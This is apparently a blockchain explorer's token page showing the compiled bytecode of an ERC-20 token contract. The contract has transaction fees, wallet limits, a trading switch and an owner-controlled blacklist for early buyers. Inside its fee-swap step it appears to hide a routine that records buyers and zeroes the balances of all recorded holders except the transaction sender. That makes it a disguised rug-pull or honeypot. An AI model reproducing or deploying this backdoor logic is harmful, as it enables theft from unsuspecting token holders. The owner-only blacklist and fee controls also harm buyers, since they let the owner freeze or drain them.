b565b34801561046057600080fd5b5061026361046f366004611f42565b6109b9565b34801561048057600080fd5b5061026361048f36600461200a565b610a20565b3480156104a057600080fd5b506102636104af366004611fa1565b610b08565b3480156104c057600080fd5b5061023e6104cf366004611fa1565b610b7e565b3480156104e057600080fd5b506102766104ef366004611ec8565b610cad565b34801561050057600080fd5b50610263610cd8565b34801561051557600080fd5b5061027660105481565b34801561052b57600080fd5b50610276600e5481565b34801561054157600080fd5b50610276600f5481565b34801561055757600080fd5b50610263610ce0565b34801561056c57600080fd5b5061026361057b366004611e87565b610f17565b34801561058c57600080fd5b50610276600d5481565b3480156105a257600080fd5b5061023e6105b1366004611e87565b601a6020526000908152604090205460ff1681565b6060600380546105d5906121fa565b80601f0160208091040260200160405190810160405280929190818152602001828054610601906121fa565b801561064e5780601f106106235761010080835404028352916020019161064e565b820191906000526020600020905b81548152906001019060200180831161063157829003601f168201915b5050505050905090565b600033610666818585610f8d565b5060019392505050565b6009546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156106a9573d6000803e3d6000fd5b50565b6000336106ba8582856110b1565b6106c5858585611125565b506001949350505050565b6000336106668185856106e38383610cad565b6106ed919061218a565b610f8d565b6106fa611719565b6001600160a01b0381166000908152601a602052604090205460ff16151560011461076c5760405162461bcd60e51b815260206004820152601f60248201527f4163636f756e74206973206e6f7420696e2074686520626c61636b6c6973740060448201526064015b60405180910390fd5b6001600160a01b03166000908152601a60205260409020805460ff19169055565b610795611719565b61079f6000611773565b565b6107a9611719565b6009805460ff60a81b19169055565b6107c0611719565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6060600480546105d5906121fa565b610802611719565b600954600160a81b900460ff1661085b5760405162461bcd60e51b815260206004820152601b60248201527f43616e6e6f74206368616e6765206174207468697320737461676500000000006044820152606401610763565b6103e861086760025490565b6108729060016121c4565b61087c91906121a2565b82116108be5760405162461bcd60e51b81526020600482015260116024820152704d617820545820697320746f6f206c6f7760781b6044820152606401610763565b6103e86108ca60025490565b6108d590600a6121c4565b6108df91906121a2565b81116109255760405162461bcd60e51b81526020600482015260156024820152744d61782077616c6c657420697320746f6f206c6f7760581b6044820152606401610763565b600c91909155600d55565b6000338161093e8286610cad565b90508381101561099e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610763565b6106c58286868403610f8d565b600033610666818585611125565b6109c1611719565b6001600160a01b038216600081815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b610a28611719565b6011849055601283905560138290556014819055610a46838561218a565b600f55601454601354610a59919061218a565b601055600f5460641015610aaf5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610763565b60646010541115610b025760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610763565b50505050565b610b10611719565b600954600160b01b900460ff1615610b625760405162461bcd60e51b81526020600482015260156024820152742a3930b2329034b99030b63932b0b23c9037b832b760591b6044820152606401610763565b6009805460ff60b01b1916600160b01b179055600b5543600a55565b6000610b88611719565b620186a0610b9560025490565b610ba09060016121c4565b610baa91906121a2565b821015610c175760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610763565b6103e8610c2360025490565b610c2e9060056121c4565b610c3891906121a2565b821115610ca45760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610763565b50600e55600190565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61079f6117c5565b610ce8611719565b6008546001600160a01b031615610d385760405162461bcd60e51b815260206004820152601460248201527314185a5c88185b1c9958591e4818dc99585d195960621b6044820152606401610763565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8657600080fd5b505afa158015610d9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbe9190611eab565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1b57600080fd5b505afa158015610e2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e539190611eab565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610e9b57600080fd5b505af1158015610eaf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed39190611eab565b600880546001600160a01b0319166001600160a01b03929092169182179055610efd90600161197c565b3060009081526020819052604090205461079f90476119d0565b610f1f611719565b6001600160a01b038116610f845760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610763565b6106a981611773565b6001600160a01b038316610fef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610763565b6001600160a01b0382166110505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610763565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006110bd8484610cad565b90506000198114610b0257818110156111185760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610763565b610b028484848403610f8d565b6001600160a01b03831661114b5760405162461bcd60e51b8152600401610763906120d4565b6001600160a01b0382166111715760405162461bcd60e51b815260040161076390612091565b6001600160a01b0383166000908152601a602052604090205460ff16156111eb5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e736665722066726f6d20626c61636b6c6973746564604482015267081858d8dbdd5b9d60c21b6064820152608401610763565b600081116112475760405162461bcd60e51b8152602060048201526024808201527f45524332303a20616d6f756e74206d75737420626520677265617465722074686044820152630616e20360e41b6064820152608401610763565b6001600160a01b03831660009081526017602052604090205460ff168061128657506001600160a01b03821660009081526017602052604090205460ff165b6112db57600954600160b01b900460ff166112db5760405162461bcd60e51b815260206004820152601560248201527454726164696e67206973206e6f742061637469766560581b6044820152606401610763565b60006015546016546112ed919061218a565b600e549091508110801590819061130e5750600954600160a01b900460ff16155b801561133357506001600160a01b03851660009081526019602052604090205460ff16155b801561135857506001600160a01b03851660009081526017602052604090205460ff16155b801561137d57506001600160a01b03841660009081526017602052604090205460ff16155b156113ab576009805460ff60a01b1916600160a01b17905561139d6117c5565b6009805460ff60a01b191690555b6009546001600160a01b03861660009081526017602052604090205460ff600160a01b9092048216159116806113f957506001600160a01b03851660009081526017602052604090205460ff165b15611402575060005b6001600160a01b03861660009081526018602052604090205460ff1615801561144457506001600160a01b03851660009081526018602052604090205460ff16155b80156114615750600954600160a81b900460ff1680156114615750805b1561154d57600c548411156114b85760405162461bcd60e51b815260206004820152601f60248201527f4d6178207472616e73616374696f6e20616d6f756e74206578636565646564006044820152606401610763565b6001600160a01b03861660009081526019602052604090205460ff161561154d57600d546001600160a01b0386166000908152602081905260409020546114ff908661218a565b111561154d5760405162461bcd60e51b815260206004820152601a60248201527f4d61782077616c6c657420616d6f756e742065786365656465640000000000006044820152606401610763565b60008115611705576001600160a01b03871660009081526019602052604090205460ff168015611583575061158186611ab4565b155b1561164757600b54600a54611598919061218a565b4310156115c3576001600160a01b0386166000908152601a60205260409020805460ff191660011790555b6103e8600f54866115d491906121c4565b6115de91906121a2565b9050600f54601254826115f191906121c4565b6115fb91906121a2565b6016600082825461160c919061218a565b9091555050600f5460115461162190836121c4565b61162b91906121a2565b6015600082825461163c919061218a565b909155506116e79050565b6001600160a01b03861660009081526019602052604090205460ff16156116e7576103e86010548661167991906121c4565b61168391906121a2565b90506010546014548261169691906121c4565b6116a091906121a2565b601660008282546116b1919061218a565b90915550506010546013546116c690836121c4565b6116d091906121a2565b601560008282546116e1919061218a565b90915550505b80156116f8576116f8873083611b25565b61170281866121e3565b94505b611710878787611b25565b50505050505050565b6006546001600160a01b0316331461079f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610763565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b30600090815260208190526040812054905060006015546016546117e9919061218a565b90508115806117f6575080155b156117ff575050565b600e5482111561180f57600e5491505b6040517f3f468fa137d8f3bc1ed0165066ae4356a2665e48e7a5fe32b9a20860a380a58790600090a160006002826016548561184b91906121c4565b61185591906121a2565b61185f91906121a2565b9050600061186d82846121e3565b90504761187982611c4f565b6009546118919030906001600160a01b031647611db8565b600061189d82476121e3565b9050600085601554836118b091906121c4565b6118ba91906121a2565b905060006118c882846121e3565b6000601681905560158190556009546040519293506001600160a01b03169184156108fc0291859190818181858888f1935050505015801561190e573d6000803e3d6000fd5b5060008611801561191f5750600081115b156119725761192e86826119d0565b601654604080518781526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b5050505050505050565b6001600160a01b038216600081815260196020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6007546119e89030906001600160a01b031684610f8d565b6007546001600160a01b031663f305d719823085600080611a116006546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015611a7457600080fd5b505af1158015611a88573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611aad9190611fdc565b5050505050565b6001600160a01b038116600090815260208190526040812054611b1d57600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319166001600160a01b0384161790555b506000919050565b6001600160a01b038316611b4b5760405162461bcd60e51b8152600401610763906120d4565b6001600160a01b038216611b715760405162461bcd60e51b815260040161076390612091565b6001600160a01b03831660009081526020819052604090205481811015611be95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610763565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610b02565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611c8457611c84612266565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611cd857600080fd5b505afa158015611cec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d109190611eab565b81600181518110611d2357611d23612266565b6001600160a01b039283166020918202929092010152600754611d499130911684610f8d565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611d82908590600090869030904290600401612119565b600060405180830381600087803b158015611d9c57600080fd5b505af1158015611db0573d6000803e3d6000fd5b505050505050565b60005b600554811015611e435760058181548110611dd857611dd8612266565b6000918252602090912001546001600160a01b03163214611e3157600080600060058481548110611e0b57611e0b612266565b60009182526020808320909101546001600160a01b031683528201929092526040019020555b80611e3b81612235565b915050611dbb565b50611e5060056000611e55565b505050565b50805460008255906000526020600020908101906106a991905b80821115611e835760008155600101611e6f565b5090565b600060208284031215611e9957600080fd5b8135611ea48161227c565b9392505050565b600060208284031215611ebd57600080fd5b8151611ea48161227c565b60008060408385031215611edb57600080fd5b8235611ee68161227c565b91506020830135611ef68161227c565b809150509250929050565b600080600060608486031215611f1657600080fd5b8335611f218161227c565b92506020840135611f318161227c565b929592945050506040919091013590565b60008060408385031215611f5557600080fd5b8235611f608161227c565b915060208301358015158114611ef657600080fd5b60008060408385031215611f8857600080fd5b8235611f938161227c565b946020939093013593505050565b600060208284031215611fb357600080fd5b5035919050565b60008060408385031215611fcd57600080fd5b50508035926020909101359150565b600080600060608486031215611ff157600080fd5b8351925060208401519150604084015190509250925092565b6000806000806080858703121561202057600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b818110156120695785810183015185820160400152820161204d565b8181111561207b576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156121695784516001600160a01b031683529383019391830191600101612144565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561219d5761219d612250565b500190565b6000826121bf57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156121de576121de612250565b500290565b6000828210156121f5576121f5612250565b500390565b600181811c9082168061220e57607f821691505b6020821081141561222f57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561224957612249612250565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146106a957600080fdfea2646970667358221220ee78de9c46ddb6ea15ec3cdf4050bf4f226db0402c9afb1eca2871084928cd7c64736f6c63430008070033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.